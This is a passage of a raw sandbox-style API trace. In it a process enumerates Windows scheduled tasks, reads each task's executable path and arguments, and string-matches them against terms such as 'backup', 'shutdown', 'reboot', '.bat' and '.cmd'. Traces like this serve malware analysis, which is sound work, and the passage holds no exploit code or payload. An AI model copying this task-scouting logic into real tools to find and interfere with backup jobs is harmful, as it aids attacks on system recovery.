(_Str="pbdadiscoveryw2", _SubStr=".bat") returned 0x0 [0210.358] wcsstr (_Str="pbdadiscoveryw2", _SubStr="backup") returned 0x0 [0210.358] wcsstr (_Str="pbdadiscoveryw2", _SubStr=".cmd") returned 0x0 [0210.358] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5f10) returned 1 [0210.358] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.363] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.363] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.363] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.363] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.363] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.363] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.363] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.363] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.363] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.363] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.363] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.363] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.363] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.363] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/wait:90 /PBDADiscovery") returned 0x0 [0210.363] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6caad0 [0210.363] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="reboot") returned 0x0 [0210.363] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="restart") returned 0x0 [0210.363] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="shutdown") returned 0x0 [0210.363] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="logoff") returned 0x0 [0210.363] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".bat") returned 0x0 [0210.363] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr="backup") returned 0x0 [0210.363] wcsstr (_Str="/wait:90 /pbdadiscovery", _SubStr=".cmd") returned 0x0 [0210.363] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0210.363] IUnknown:Release (This=0x2463688) returned 0x2 [0210.363] IUnknown:Release (This=0x2463688) returned 0x1 [0210.364] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.364] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.364] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.364] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xe, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.364] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PeriodicScanRetry") returned 0x0 [0210.364] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.366] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.366] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.366] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrRecoveryTask") returned 0x0 [0210.366] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.367] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e6280 [0210.367] wcsstr (_Str="pvrrecoverytask", _SubStr="reboot") returned 0x0 [0210.367] wcsstr (_Str="pvrrecoverytask", _SubStr="restart") returned 0x0 [0210.367] wcsstr (_Str="pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0210.368] wcsstr (_Str="pvrrecoverytask", _SubStr="logoff") returned 0x0 [0210.368] wcsstr (_Str="pvrrecoverytask", _SubStr=".bat") returned 0x0 [0210.368] wcsstr (_Str="pvrrecoverytask", _SubStr="backup") returned 0x0 [0210.368] wcsstr (_Str="pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0210.368] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6280) returned 1 [0210.368] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.372] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.373] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0210.373] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.373] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.373] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.373] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0210.373] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0210.373] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0210.373] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0210.373] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0210.373] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0210.373] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0210.373] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0210.373] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0210.373] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0210.373] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrRecoveryTask") returned 0x0 [0210.373] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x22) returned 0x6c88f8 [0210.373] wcsstr (_Str="-pvrrecoverytask", _SubStr="reboot") returned 0x0 [0210.373] wcsstr (_Str="-pvrrecoverytask", _SubStr="restart") returned 0x0 [0210.373] wcsstr (_Str="-pvrrecoverytask", _SubStr="shutdown") returned 0x0 [0210.373] wcsstr (_Str="-pvrrecoverytask", _SubStr="logoff") returned 0x0 [0210.373] wcsstr (_Str="-pvrrecoverytask", _SubStr=".bat") returned 0x0 [0210.373] wcsstr (_Str="-pvrrecoverytask", _SubStr="backup") returned 0x0 [0210.373] wcsstr (_Str="-pvrrecoverytask", _SubStr=".cmd") returned 0x0 [0210.373] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.373] IUnknown:Release (This=0x2463688) returned 0x2 [0210.373] IUnknown:Release (This=0x2463688) returned 0x1 [0210.373] IActionCollection:get_Item (in: This=0x2464fa0, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.373] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0210.373] IUnknown:Release (This=0x2463748) returned 0x1 [0210.373] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.373] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.374] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.374] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x10, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.374] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="PvrScheduleTask") returned 0x0 [0210.374] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.375] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x20) returned 0x6e5e70 [0210.375] wcsstr (_Str="pvrscheduletask", _SubStr="reboot") returned 0x0 [0210.375] wcsstr (_Str="pvrscheduletask", _SubStr="restart") returned 0x0 [0210.375] wcsstr (_Str="pvrscheduletask", _SubStr="shutdown") returned 0x0 [0210.375] wcsstr (_Str="pvrscheduletask", _SubStr="logoff") returned 0x0 [0210.375] wcsstr (_Str="pvrscheduletask", _SubStr=".bat") returned 0x0 [0210.375] wcsstr (_Str="pvrscheduletask", _SubStr="backup") returned 0x0 [0210.375] wcsstr (_Str="pvrscheduletask", _SubStr=".cmd") returned 0x0 [0210.375] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e5e70) returned 1 [0210.375] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.381] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.381] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0210.381] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463748) returned 0x0 [0210.381] IAction:get_Type (in: This=0x2463748, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.381] IUnknown:QueryInterface (in: This=0x2463748, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463748) returned 0x0 [0210.381] IExecAction:get_Path (in: This=0x2463748, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0210.381] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0210.381] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0210.381] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0210.381] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0210.381] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0210.381] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0210.381] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0210.381] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0210.381] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0210.381] IExecAction:get_Arguments (in: This=0x2463748, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-PvrSchedule") returned 0x0 [0210.381] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6e62d0 [0210.381] wcsstr (_Str="-pvrschedule", _SubStr="reboot") returned 0x0 [0210.382] wcsstr (_Str="-pvrschedule", _SubStr="restart") returned 0x0 [0210.382] wcsstr (_Str="-pvrschedule", _SubStr="shutdown") returned 0x0 [0210.382] wcsstr (_Str="-pvrschedule", _SubStr="logoff") returned 0x0 [0210.382] wcsstr (_Str="-pvrschedule", _SubStr=".bat") returned 0x0 [0210.382] wcsstr (_Str="-pvrschedule", _SubStr="backup") returned 0x0 [0210.382] wcsstr (_Str="-pvrschedule", _SubStr=".cmd") returned 0x0 [0210.382] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e62d0) returned 1 [0210.382] IUnknown:Release (This=0x2463748) returned 0x2 [0210.382] IUnknown:Release (This=0x2463748) returned 0x1 [0210.382] IActionCollection:get_Item (in: This=0x2464fa0, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.382] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0210.382] IUnknown:Release (This=0x2463688) returned 0x1 [0210.382] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.382] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.382] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.382] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.382] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RecordingRestart") returned 0x0 [0210.382] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=1) returned 0x0 [0210.383] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.383] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.384] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="RegisterSearch") returned 0x0 [0210.384] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.385] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1e) returned 0x6e62a8 [0210.385] wcsstr (_Str="registersearch", _SubStr="reboot") returned 0x0 [0210.385] wcsstr (_Str="registersearch", _SubStr="restart") returned 0x0 [0210.385] wcsstr (_Str="registersearch", _SubStr="shutdown") returned 0x0 [0210.385] wcsstr (_Str="registersearch", _SubStr="logoff") returned 0x0 [0210.385] wcsstr (_Str="registersearch", _SubStr=".bat") returned 0x0 [0210.385] wcsstr (_Str="registersearch", _SubStr="backup") returned 0x0 [0210.385] wcsstr (_Str="registersearch", _SubStr=".cmd") returned 0x0 [0210.385] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e62a8) returned 1 [0210.385] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f28) returned 0x0 [0210.390] ITaskDefinition:get_Actions (in: This=0x2464f28, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x2464fa0) returned 0x0 [0210.390] IActionCollection:get_Count (in: This=0x2464fa0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.390] IActionCollection:get_Item (in: This=0x2464fa0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.390] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.390] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.390] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.390] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.390] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.390] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.390] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.390] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.390] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.390] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.390] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.390] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.390] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoRegisterSearch $(Arg0)") returned 0x0 [0210.390] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0210.390] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="reboot") returned 0x0 [0210.390] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="restart") returned 0x0 [0210.390] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="shutdown") returned 0x0 [0210.390] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="logoff") returned 0x0 [0210.390] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".bat") returned 0x0 [0210.390] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr="backup") returned 0x0 [0210.390] wcsstr (_Str="/doregistersearch $(arg0)", _SubStr=".cmd") returned 0x0 [0210.390] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0210.390] IUnknown:Release (This=0x2463688) returned 0x2 [0210.390] IUnknown:Release (This=0x2463688) returned 0x1 [0210.390] IUnknown:Release (This=0x2464fa0) returned 0x1 [0210.390] IUnknown:Release (This=0x2464f28) returned 0x0 [0210.390] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.391] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x13, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.391] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ReindexSearchRoot") returned 0x0 [0210.391] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.392] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x24) returned 0x6c88f8 [0210.392] wcsstr (_Str="reindexsearchroot", _SubStr="reboot") returned 0x0 [0210.392] wcsstr (_Str="reindexsearchroot", _SubStr="restart") returned 0x0 [0210.392] wcsstr (_Str="reindexsearchroot", _SubStr="shutdown") returned 0x0 [0210.392] wcsstr (_Str="reindexsearchroot", _SubStr="logoff") returned 0x0 [0210.392] wcsstr (_Str="reindexsearchroot", _SubStr=".bat") returned 0x0 [0210.392] wcsstr (_Str="reindexsearchroot", _SubStr="backup") returned 0x0 [0210.392] wcsstr (_Str="reindexsearchroot", _SubStr=".cmd") returned 0x0 [0210.392] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.392] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f38) returned 0x0 [0210.399] ITaskDefinition:get_Actions (in: This=0x2464f38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.399] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0210.399] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.399] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.399] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.399] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0210.399] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0210.399] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0210.399] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0210.399] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0210.400] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0210.400] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0210.400] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0210.400] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0210.400] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0210.400] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/DoReindexSearchRoot") returned 0x0 [0210.400] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2a) returned 0x6caad0 [0210.400] wcsstr (_Str="/doreindexsearchroot", _SubStr="reboot") returned 0x0 [0210.400] wcsstr (_Str="/doreindexsearchroot", _SubStr="restart") returned 0x0 [0210.400] wcsstr (_Str="/doreindexsearchroot", _SubStr="shutdown") returned 0x0 [0210.400] wcsstr (_Str="/doreindexsearchroot", _SubStr="logoff") returned 0x0 [0210.400] wcsstr (_Str="/doreindexsearchroot", _SubStr=".bat") returned 0x0 [0210.400] wcsstr (_Str="/doreindexsearchroot", _SubStr="backup") returned 0x0 [0210.400] wcsstr (_Str="/doreindexsearchroot", _SubStr=".cmd") returned 0x0 [0210.400] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6caad0) returned 1 [0210.400] IUnknown:Release (This=0x2463688) returned 0x2 [0210.400] IUnknown:Release (This=0x2463688) returned 0x1 [0210.400] IUnknown:Release (This=0x47fcb8) returned 0x1 [0210.400] IUnknown:Release (This=0x2464f38) returned 0x0 [0210.400] IUnknown:Release (This=0x2464e78) returned 0x0 [0210.400] IRegisteredTaskCollection:get_Item (in: This=0x2463648, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x14, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x2464e78) returned 0x0 [0210.400] IRegisteredTask:get_Name (in: This=0x2464e78, pName=0x5cf9f8 | out: pName=0x5cf9f8*="SqlLiteRecoveryTask") returned 0x0 [0210.400] IRegisteredTask:get_State (in: This=0x2464e78, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0210.402] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x28) returned 0x6c88f8 [0210.402] wcsstr (_Str="sqlliterecoverytask", _SubStr="reboot") returned 0x0 [0210.402] wcsstr (_Str="sqlliterecoverytask", _SubStr="restart") returned 0x0 [0210.402] wcsstr (_Str="sqlliterecoverytask", _SubStr="shutdown") returned 0x0 [0210.402] wcsstr (_Str="sqlliterecoverytask", _SubStr="logoff") returned 0x0 [0210.402] wcsstr (_Str="sqlliterecoverytask", _SubStr=".bat") returned 0x0 [0210.402] wcsstr (_Str="sqlliterecoverytask", _SubStr="backup") returned 0x0 [0210.402] wcsstr (_Str="sqlliterecoverytask", _SubStr=".cmd") returned 0x0 [0210.402] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0210.402] IRegisteredTask:get_Definition (in: This=0x2464e78, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x2464f38) returned 0x0 [0210.407] ITaskDefinition:get_Actions (in: This=0x2464f38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fcb8) returned 0x0 [0210.407] IActionCollection:get_Count (in: This=0x47fcb8, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0210.407] IActionCollection:get_Item (in: This=0x47fcb8, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0210.407] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0210.407] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0210.407] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0210.407] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2860 [0210.407] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0210.407] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0210.407] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0210.407] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0210.407] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0210.407] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0210.407] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0210.407] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2860) returned 1 [0210.407] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: 